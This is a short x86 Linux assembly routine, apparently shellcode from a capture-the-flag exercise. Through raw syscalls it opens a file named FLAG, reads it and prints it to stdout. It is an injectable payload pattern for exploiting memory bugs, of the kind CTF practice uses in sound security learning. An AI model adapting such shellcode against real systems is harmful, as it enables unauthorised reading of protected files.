section .text
global _start

_start:
  xor ecx, ecx
  push ecx
  push 0x47414c46
  push $5
  pop eax
  mov ebx, esp
  int $80 ; sys_open("FLAG", O_RDONLY)
  push $3
  mov edx, ecx
  dec dl
  mov ecx, ebx
  mov ebx, eax
  pop eax
  int $80 ; sys_read(fd, buf, 255)
  push $4
  mov edx, eax
  xor ebx, ebx
  inc ebx
  pop eax
  int $80 ; sys_write(STDOUT, buf, len)
  mov eax, ebx
  dec ebx
  int $80 ; exit(0)